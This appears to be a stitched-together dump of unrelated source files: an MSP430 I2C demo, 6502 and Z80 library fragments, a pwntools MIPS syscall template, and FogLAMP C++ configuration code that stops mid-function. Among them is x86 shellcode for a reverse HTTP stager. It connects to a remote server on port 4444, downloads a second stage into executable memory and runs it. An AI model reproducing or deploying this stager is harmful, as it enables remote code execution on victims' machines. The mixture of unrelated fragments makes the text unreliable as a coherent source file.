; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;*******************************************************************************
; MSP430F54xA Demo - USCI_B0 I2C Master RX single bytes from MSP430 Slave
;
; Description: This demo connects two MSP430's via the I2C bus. The master
; reads from the slave. This is the MASTER CODE. The data from the slave
; transmitter begins at 0 and increments with each transfer. The received
; data is in R5 and is checked for validity. If the received data is
; incorrect, the CPU is trapped and the P1.0 LED will stay on. The USCI_B0
; RX interrupt is used to know when new data has been received.
; ACLK = n/a, MCLK = SMCLK = BRCLK = default DCO = ~1.045MHz
;
; ***to be used with msp430x54xA_uscib0_i2c_05.asm***
;
; /|\ /|\
; MSP430F5438A 10k 10k MSP430F5438A
; slave | | master
; ----------------- | | -----------------
; -|XIN P3.1/UCB0SDA|<-|----+->|P3.1/UCB0SDA XIN|-
; | | | | | 32kHz
; -|XOUT | | | XOUT|-
; | P3.2/UCB0SCL|<-+------>|P3.2/UCB0SCL |
; | | | P1.0|--> LED
;
; D. Dang
; Texas Instruments Inc.
; December 2009
; Built with CCS Version: 4.0.2
;******************************************************************************
.cdecls C,LIST,"msp430.h"
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
RXData .equ R5
RXCompare .equ R6
;-------------------------------------------------------------------------------
.global _main
.text ; Assemble to Flash memory
;-------------------------------------------------------------------------------
_main
RESET mov.w #0x5C00,SP ; Initialize stackpointer
mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT
bic.b #0x01,&P1OUT ; P1.0 = 0
bis.b #0x01,&P1DIR ; P1.0 output
bis.b #0x06,&P3SEL ; Assign I2C pins to USCI_B0
bis.b #UCSWRST,&UCB0CTL1 ; **Put state machine in reset**
mov.b #UCMST + UCMODE_3 + UCSYNC,&UCB0CTL0; I2C Master,
; synchronous mode
mov.b #UCSSEL_2 + UCSWRST,&UCB0CTL1 ; Use SMCLK
mov.b #12,&UCB0BR0 ; fSCL = SMCLK/12 = ~100kHz
mov.b #0,&UCB0BR1 ;
mov.w #0x48,&UCB0I2CSA ; Slave Address is 0x48
bic.b #UCSWRST,&UCB0CTL1 ; **Initialize USCI state machine**
bis.b #UCRXIE,&UCB0IE ; Enable RX interrupt
clr.b RXCompare ; Used to check incoming data
Mainloop
Mainloop_1 bit.b #UCTXSTP,&UCB0CTL1 ; Loop until I2C STP got sent
jc Mainloop_1
bis.b #UCTXSTT,&UCB0CTL1 ; I2C start condition
Mainloop_2 bit.b #UCTXSTT,&UCB0CTL1 ; Loop until I2C STT is sent
jc Mainloop_2
bis.b #UCTXSTP,&UCB0CTL1 ; I2C stop condition
bis.b #LPM0 + GIE,SR ; Enter LPM0 w/ interrupts enabled
cmp.b RXData,RXCompare ; Trap CPU if wrong
jeq Mainloop_3
bis.b #0x01,&P1OUT ; P1.0 = 1
Mainloop_3 inc.b RXCompare ; Increment correct RX value
jmp Mainloop
;
;-------------------------------------------------------------------------------
USCI_B0_ISR; USCI_B0 Interrupt Handler ISR
;-------------------------------------------------------------------------------
add.w &UCB0IV,PC ; Add offset to PC
reti ; Vector 0: No interrupt
reti ; Vector 2: ALIFG
reti ; Vector 4: NACKIFG
reti ; Vector 6: STTIFG
reti ; Vector 8: STPIFG
jmp RXIFG_ISR ; Vector 10: RXIFG
reti ; Vector 12: TXIFG
RXIFG_ISR ; RXIFG Interrupt Handler
mov.b &UCB0RXBUF,RXData ; Get RX data
bic.w #LPM0,0(SP) ; Exit active from ISR
reti ;
;
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".int56" ; USCI_BO Interrupt Vector
.short USCI_B0_ISR
.sect ".reset" ; POR, ext. Reset
.short RESET
.end
|
lda #0
sta {m1}+3
lda {m2}+3
lsr
sta {m1}+2
lda {m2}+2
ror
sta {m1}+1
lda {m2}+1
ror
sta {m1} |
;
; This file is automatically generated
;
; Do not edit!!!
;
; djm 12/2/2000
;
; ZSock Lib function: sock_settos
XLIB sock_settos
LIB no_zsock
INCLUDE "packages.def"
INCLUDE "zsock.def"
.sock_settos
ld a,r_sock_settos
call_pkg(tcp_all)
ret nc
; We failed..are we installed?
cp rc_pnf
scf ;signal error
ret nz ;Internal error
call_pkg(tcp_ayt)
jr nc,sock_settos
jp no_zsock
|
;-----------------------------------------------------------------------------;
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%define u(x) __utf16__(x)
%define HTTP_OPEN_FLAGS 0x00000100
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
set_retry:
push byte 6 ; retry 6 times
pop EDI
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push dword 4444 ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
dw u('/12345'), 0
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push HTTP_OPEN_FLAGS ; Flags [7]
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:
|
<%
from pwnlib.shellcraft.mips.linux import syscall
%>
<%page args="from_, num, turn_on"/>
<%docstring>
Invokes the syscall ioperm. See 'man 2 ioperm' for more information.
Arguments:
from(unsigned): from
num(unsigned): num
turn_on(int): turn_on
</%docstring>
${syscall('SYS_ioperm', from_, num, turn_on)}
|
/*
* FogLAMP category management
*
* Copyright (c) 2018 Dianomic Systems
*
* Released under the Apache 2.0 Licence
*
* Author: Mark Riddoch, Massimiliano Pinto
*/
#include <config_category.h>
#include <string>
#include <rapidjson/document.h>
#include <rapidjson/ostreamwrapper.h>
#include <rapidjson/writer.h>
#include "rapidjson/error/error.h"
#include "rapidjson/error/en.h"
#include <sstream>
#include <iostream>
#include <time.h>
#include <stdlib.h>
#include <logger.h>
using namespace std;
using namespace rapidjson;
/**
* ConfigCategories constructor without parameters
*
* Elements can be added with ConfigCategories::addCategoryDescription
*/
ConfigCategories::ConfigCategories()
{
}
/**
* Construct a ConfigCategories object from a JSON document returned from
* the FogLAMP configuratrion service.
*/
ConfigCategories::ConfigCategories(const std::string& json)
{
Document doc;
doc.Parse(json.c_str());
if (doc.HasParseError())
{
Logger::getLogger()->error("Configuration parse error in %s: %s at %d", json.c_str(),
GetParseError_En(doc.GetParseError()), (unsigned)doc.GetErrorOffset());
throw new ConfigMalformed();
}
if (doc.HasMember("categories"))
{
const Value& categories = doc["categories"];
if (categories.IsArray())
{
// Process every rows and create the result set
for (auto& cat : categories.GetArray())
{
if (!cat.IsObject())
{
throw new ConfigMalformed();
}
ConfigCategoryDescription *value = new ConfigCategoryDescription(cat["key"].GetString(),
cat["description"].GetString());
m_categories.push_back(value);
}
}
else
{
throw new ConfigMalformed();
}
}
}
/**
* ConfigCategories destructor
*/
ConfigCategories::~ConfigCategories()
{
for (auto it = m_categories.cbegin(); it != m_categories.cend(); it++)
{
delete *it;
}
}
/**
* Add a ConfigCategoryDescription element
*
* @param elem The ConfigCategoryDescription elemen to add
*/
void ConfigCategories::addCategoryDescription(ConfigCategoryDescription* elem)
{
m_categories.push_back(elem);
}
/**
* Return the JSON string of a ConfigCategoryDescription element
*/
string ConfigCategoryDescription::toJSON() const
{
ostringstream convert;
convert << "{\"key\": \"" << m_name << "\", ";
convert << "\"description\" : \"" << m_description << "\"}";
return convert.str();
}
/**
* Return the JSON string of all ConfigCategoryDescription
* elements in m_categories
*/
string ConfigCategories::toJSON() const
{
ostringstream convert;
convert << "[";
for (auto it = m_categories.cbegin(); it != m_categories.cend(); it++)
{
convert << (*it)->toJSON();
if (it + 1 != m_categories.cend() )
{
convert << ", ";
}
}
convert << "]";
return convert.str();
}
/**
* Configuration Category constructor
*
* @param name The name of the configuration category
* @param json JSON content of the configuration category
*/
ConfigCategory::ConfigCategory(const string& name, const string& json) : m_name(name)
{
Document doc;
doc.Parse(json.c_str());
if (doc.HasParseError())
{
Logger::getLogger()->error("Configuration parse error in category '%s', %s: %s at %d",
name.c_str(), json.c_str(),
GetParseError_En(doc.GetParseError()), (unsigned)doc.GetErrorOffset());
throw new ConfigMalformed();
}
for (Value::ConstMemberIterator itr = doc.MemberBegin(); itr != doc.MemberEnd(); ++itr)
{
try
{
m_items.push_back(new CategoryItem(itr->name.GetString(), itr->value));
}
catch (exception* e)
{
Logger::getLogger()->error("Configuration parse error in category '%s' item '%s', %s: %s",
name.c_str(),
itr->name.GetString(),
json.c_str(),
e->what());
delete e;
throw ConfigMalformed();
}
catch (...)
{
throw;
}
}
}
/**
* Copy constructor for a configuration category
*/
ConfigCategory::ConfigCategory(ConfigCategory const& rhs)
{
m_name = rhs.m_name;
m_description = rhs.m_description;
for (auto it = rhs.m_items.cbegin(); it != rhs.m_items.cend(); it++)
{
m_items.push_back(new CategoryItem(**it));
}
}
/**
* Configuration category destructor
*/
ConfigCategory::~ConfigCategory()
{
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
delete *it;
}
}
/**
* Operator= for ConfigCategory
*/
ConfigCategory& ConfigCategory::operator=(ConfigCategory const& rhs)
{
m_name = rhs.m_name;
m_description = rhs.m_description;
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
delete *it;
}
m_items.clear();
for (auto it = rhs.m_items.cbegin(); it != rhs.m_items.cend(); it++)
{
m_items.push_back(new CategoryItem(**it));
}
return *this;
}
/**
* Operator+= for ConfigCategory
*/
ConfigCategory& ConfigCategory::operator+=(ConfigCategory const& rhs)
{
m_name = rhs.m_name;
m_description = rhs.m_description;
for (auto it = rhs.m_items.cbegin(); it != rhs.m_items.cend(); it++)
{
m_items.push_back(new CategoryItem(**it));
}
return *this;
}
/**
* Set the m_value from m_default for each item
*/
void ConfigCategory::setItemsValueFromDefault()
{
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
(*it)->m_value = string((*it)->m_default);
}
}
/**
* Check whether at least one item in the category object
* has both 'value' and 'default' set.
*
* @throws ConfigValueFoundWithDefault
*/
void ConfigCategory::checkDefaultValuesOnly() const
{
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
if (!(*it)->m_value.empty())
{
throw new ConfigValueFoundWithDefault((*it)->m_name);
}
}
}
/**
* Add an item to a configuration category
*/
void ConfigCategory::addItem(const std::string& name, const std::string description,
const std::string& type, const std::string def,
const std::string& value)
{
m_items.push_back(new CategoryItem(name, description, type, def, value));
}
/**
* Delete all the items from the configuration category having a specific type
*
* * @param type Type to delete
*/
void ConfigCategory::removeItemsType(ConfigCategory::ItemType type)
{
for (auto it = m_items.begin(); it != m_items.end(); )
{
if ((*it)->m_itemType == type)
{
m_items.erase(it);
}
else
{
++it;
}
}
}
/**
* Delete all the items from the configuration category
*
*/
void ConfigCategory::removeItems()
{
for (auto it = m_items.begin(); it != m_items.end(); )
{
m_items.erase(it);
}
}
/**
* Delete all the items from the configuration category not having a specific type
*
* * @param type Type to maintain
*/
void ConfigCategory::keepItemsType(ConfigCategory::ItemType type)
{
for (auto it = m_items.begin(); it != m_items.end(); )
{
if ((*it)->m_itemType != type)
{
m_items.erase(it);
}
else
{
++it;
}
}
}
/**
* Extracts, process and adds subcategory information from a given category to the current instance
*
* * @param subCategories Configuration category from which the subcategories information should be extracted
*/
bool ConfigCategory::extractSubcategory(ConfigCategory &subCategories)
{
bool extracted;
auto it = subCategories.m_items.begin();
if (it != subCategories.m_items.end())
{
// Generates a new temporary category from the JSON in m_default
ConfigCategory tmpCategory = ConfigCategory("tmpCategory", (*it)->m_default);
// Extracts all the items generated from m_default and adds them to the category
for(auto item : tmpCategory.m_items)
{
m_items.push_back(new CategoryItem(*item));
}
m_name = (*it)->m_name;
m_description = (*it)->m_description;
// Replaces the %N escape sequence with the instance name of this plugin
string instanceName = subCategories.m_name;
string pattern = "%N";
if (m_name.find(pattern) != string::npos)
m_name.replace(m_name.find(pattern), pattern.length(), instanceName);
// Removes the element just processed
subCategories.m_items.erase(it);
extracted = true;
}
else
{
extracted = false;
}
return extracted;
}
/**
* Check for the existence of an item within the configuration category
*
* @param name Item name to check within the category
*/
bool ConfigCategory::itemExists(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return true;
}
}
return false;
}
/**
* Return the value of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getValue(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_value;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the requested attribute of a configuration category item
*
* @param name The name of the configuration item to return
* @param itemAttribute The item attribute (such as "file", "order", "readonly"
* @return The configuration item attribute as string
* @throws ConfigItemNotFound if the item does not exist in the category
* ConfigItemAttributeNotFound if the requested attribute
* does not exist for the found item.
*/
string ConfigCategory::getItemAttribute(const string& itemName,
const ItemAttribute itemAttribute) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (itemName.compare(m_items[i]->m_name) == 0)
{
switch (itemAttribute)
{
case ORDER_ATTR:
return m_items[i]->m_order;
case READONLY_ATTR:
return m_items[i]->m_readonly;
case FILE_ATTR:
return m_items[i]->m_file;
default:
throw new ConfigItemAttributeNotFound();
}
}
}
throw new ConfigItemNotFound();
}
/**
* Return the type of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getType(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_type;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the description of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getDescription(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_description;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the default value of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getDefault(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_default;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the display name of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getDisplayName(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_displayName;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the minimum value of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getMinimum(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_minimum;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the maximum of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
string ConfigCategory::getMaximum(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_maximum;
}
}
throw new ConfigItemNotFound();
}
/**
* Return the options of the configuration category item
*
* @param name The name of the configuration item to return
* @return string The configuration item name
* @throws exception if the item does not exist in the category
*/
vector<string> ConfigCategory::getOptions(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_options;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is a string item
*
* @param name The name of the item to test
* @return bool True if the item is a string type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isString(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == StringItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is an enumeration item
*
* @param name The name of the item to test
* @return bool True if the item is a string type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isEnumeration(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == EnumerationItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is a JSON item
*
* @param name The name of the item to test
* @return bool True if the item is a JSON type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isJSON(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == JsonItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is a Bool item
*
* @param name The name of the item to test
* @return bool True if the item is a Bool type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isBool(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == BoolItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is a Numeric item
*
* @param name The name of the item to test
* @return bool True if the item is a Numeric type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isNumber(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == NumberItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is a Double item
*
* @param name The name of the item to test
* @return bool True if the item is a Double type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isDouble(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return m_items[i]->m_itemType == DoubleItem;
}
}
throw new ConfigItemNotFound();
}
/**
* Return if the configuration item is deprecated a item
*
* @param name The name of the item to test
* @return bool True if the item is a deprecated type
* @throws exception If the item was not found in the configuration category
*/
bool ConfigCategory::isDeprecated(const string& name) const
{
for (unsigned int i = 0; i < m_items.size(); i++)
{
if (name.compare(m_items[i]->m_name) == 0)
{
return ! m_items[i]->m_deprecated.empty();
}
}
throw new ConfigItemNotFound();
}
/**
* Set the description for the configuration category
*
* @param description The configuration category description
*/
void ConfigCategory::setDescription(const string& description)
{
m_description = description;
}
/**
* Return JSON string of all category components
*
* @param full false is the deafult, true evaluates all the members of the CategoryItems
*
*/
string ConfigCategory::toJSON(const bool full) const
{
ostringstream convert;
convert << "{ \"key\" : \"" << m_name << "\", ";
convert << "\"description\" : \"" << m_description << "\", \"value\" : ";
// Add items
convert << ConfigCategory::itemsToJSON(full);
convert << " }";
return convert.str();
}
/**
* Return JSON string of category items only
*
* @param full false is the deafult, true evaluates all the members of the CategoryItems
*
*/
string ConfigCategory::itemsToJSON(const bool full) const
{
ostringstream convert;
convert << "{";
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
convert << (*it)->toJSON(full);
if (it + 1 != m_items.cend() )
{
convert << ", ";
}
}
convert << "}";
return convert.str();
}
/**
* Constructor for a configuration item
* @param name The category item name
* @param item The item object to add
* @throw ConfigMalformed exception
* @throw runtime_error exception
*/
ConfigCategory::CategoryItem::CategoryItem(const string& name,
const Value& item)
{
m_name = name;
if (! item.IsObject())
{
throw new ConfigMalformed();
}
if (item.HasMember("type"))
{
m_type = item["type"].GetString();
}
else
{
m_type = "";
}
if (item.HasMember("description"))
{
m_description = item["description"].GetString();
}
else
{
m_description = "";
}
if (item.HasMember("order"))
{
m_order = item["order"].GetString();
}
else
{
m_order = "";
}
if (item.HasMember("minimum"))
{
m_minimum = item["minimum"].GetString();
}
else
{
m_minimum = "";
}
if (item.HasMember("maximum"))
{
m_maximum = item["maximum"].GetString();
}
else
{
m_maximum = "";
}
if (item.HasMember("file"))
{
m_file = item["file"].GetString();
}
else
{
m_file = "";
}
if (item.HasMember("readonly"))
{
m_readonly = item["readonly"].GetString();
}
else
{
m_readonly = "";
}
if (m_type.compare("category") == 0)
{
m_itemType = CategoryType;
}
if (m_type.compare("script") == 0)
{
m_itemType = ScriptItem;
}
if (item.HasMember("deprecated"))
{
m_deprecated = item["deprecated"].GetString();
}
else
{
m_deprecated = "";
}
if (item.HasMember("displayName"))
{
m_displayName = item["displayName"].GetString();
}
else
{
m_displayName = "";
}
if (item.HasMember("options"))
{
const Value& options = item["options"];
if (options.IsArray())
{
for (SizeType i = 0; i < options.Size(); i++)
{
m_options.push_back(string(options[i].GetString()));
}
}
}
std:string m_typeUpperCase = m_type;
for (auto & c: m_typeUpperCase) c = toupper(c);
// Item "value" can be an escaped JSON string, so check m_type JSON as well
if (item.HasMember("value") &&
(item["value"].IsObject() || m_typeUpperCase.compare("JSON") == 0))
{
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["value"].Accept(writer);
m_value = item["value"].IsObject() ?
// use current string
strbuf.GetString() :
// Unescape the string
this->unescape(strbuf.GetString());
// If it's not a real eject, check the string buffer it is:
if (!item["value"].IsObject())
{
Document check;
check.Parse(m_value.c_str());
if (check.HasParseError())
{
throw new runtime_error(GetParseError_En(check.GetParseError()));
}
if (!check.IsObject())
{
throw new runtime_error("'value' JSON property is not an object");
}
}
if (m_typeUpperCase.compare("JSON") == 0)
{
m_itemType = JsonItem;
}
else
{
// Avoids overwrite if it is already valued
if (m_itemType == StringItem)
{
m_itemType = JsonItem;
}
}
}
// Item "value" is a Bool or m_type is boolean
else if (item.HasMember("value") &&
(item["value"].IsBool() || m_type.compare("boolean") == 0))
{
m_value = !item["value"].IsBool() ?
// use string value
item["value"].GetString() :
// use bool value
item["value"].GetBool() ? "true" : "false";
m_itemType = BoolItem;
}
// Item "value" is just a string
else if (item.HasMember("value") && item["value"].IsString())
{
m_value = item["value"].GetString();
if (m_options.size() == 0)
m_itemType = StringItem;
else
m_itemType = EnumerationItem;
}
// Item "value" is a Double
else if (item.HasMember("value") && item["value"].IsDouble())
{
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["value"].Accept(writer);
m_value = strbuf.GetString();
m_itemType = DoubleItem;
}
// Item "value" is a Number
else if (item.HasMember("value") && item["value"].IsNumber())
{
// Don't check Uint/Int/Long etc: just get the string value
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["value"].Accept(writer);
m_value = strbuf.GetString();
m_itemType = NumberItem;
}
// Item "value" has an unknwon type so far: set empty string
else
{
m_value = "";
}
// Item "default" can be an escaped JSON string, so check m_type JSON as well
if (item.HasMember("default") &&
(item["default"].IsObject() || m_typeUpperCase.compare("JSON") == 0))
{
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["default"].Accept(writer);
m_default = item["default"].IsObject() ?
// use current string
strbuf.GetString() :
// Unescape the string
this->unescape(strbuf.GetString());
// If it's not a real eject, check the string buffer it is:
if (!item["default"].IsObject())
{
Document check;
check.Parse(m_default.c_str());
if (check.HasParseError())
{
throw new runtime_error(GetParseError_En(check.GetParseError()));
}
if (!check.IsObject())
{
throw new runtime_error("'default' JSON property is not an object");
}
}
if (m_typeUpperCase.compare("JSON") == 0)
{
m_itemType = JsonItem;
}
else
{
// Avoids overwrite if it is already valued
if (m_itemType == StringItem)
{
m_itemType = JsonItem;
}
}
}
// Item "default" is a Bool or m_type is boolean
else if (item.HasMember("default") &&
(item["default"].IsBool() || m_type.compare("boolean") == 0))
{
m_default = !item["default"].IsBool() ?
// use string value
item["default"].GetString() :
// use bool value
item["default"].GetBool() ? "true" : "false";
m_itemType = BoolItem;
}
// Item "default" is just a string
else if (item.HasMember("default") && item["default"].IsString())
{
m_default = item["default"].GetString();
if (m_options.size() == 0)
m_itemType = StringItem;
else
m_itemType = EnumerationItem;
}
// Item "default" is a Double
else if (item.HasMember("default") && item["default"].IsDouble())
{
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["default"].Accept(writer);
m_default = strbuf.GetString();
m_itemType = DoubleItem;
}
// Item "default" is a Number
else if (item.HasMember("default") && item["default"].IsNumber())
{
// Don't check Uint/Int/Long etc: just get the string value
rapidjson::StringBuffer strbuf;
rapidjson::Writer<rapidjson::StringBuffer> writer(strbuf);
item["default"].Accept(writer);
m_default = strbuf.GetString();
m_itemType = NumberItem;
}
else
// Item "default" has an unknwon type so far: set empty string
{
m_default = "";
}
}
/**
* Constructor for a configuration item
*/
ConfigCategory::CategoryItem::CategoryItem(const string& name, const std::string& description,
const std::string& type, const std::string def,
const std::string& value)
{
m_name = name;
m_description = description;
m_type = type;
m_default = def;
m_value = value;
m_itemType = StringItem;
}
/**
* Copy constructor for configuration item
*/
ConfigCategory::CategoryItem::CategoryItem(const CategoryItem& rhs)
{
m_name = rhs.m_name;
m_displayName = rhs.m_displayName;
m_type = rhs.m_type;
m_default = rhs.m_default;
m_value = rhs.m_value;
m_description = rhs.m_description;
m_order = rhs.m_order;
m_readonly = rhs.m_readonly;
m_deprecated = rhs.m_deprecated;
m_minimum = rhs.m_minimum;
m_maximum = rhs.m_maximum;
m_filename = rhs.m_filename;
for (auto it = rhs.m_options.cbegin(); it != rhs.m_options.cend(); it++)
{
m_options.push_back(*it);
}
m_file = rhs.m_file;
m_itemType = rhs.m_itemType;
}
/**
* Create a JSON representation of the configuration item
*
* @param full false is the deafult, true evaluates all the members of the CategoryItem
*
*/
string ConfigCategory::CategoryItem::toJSON(const bool full) const
{
ostringstream convert;
convert << "\"" << m_name << "\" : { ";
convert << "\"description\" : \"" << m_description << "\", ";
if (! m_displayName.empty())
{
convert << "\"displayName\" : \"" << m_displayName << "\", ";
}
convert << "\"type\" : \"" << m_type << "\", ";
if (m_options.size() > 0)
{
convert << "\"options\" : [ ";
for (int i = 0; i < m_options.size(); i++)
{
if (i > 0)
convert << ",";
convert << "\"" << m_options[i] << "\"";
}
convert << "],";
}
if (m_itemType == StringItem ||
m_itemType == BoolItem ||
m_itemType == EnumerationItem)
{
convert << "\"value\" : \"" << m_value << "\", ";
convert << "\"default\" : \"" << m_default << "\" }";
}
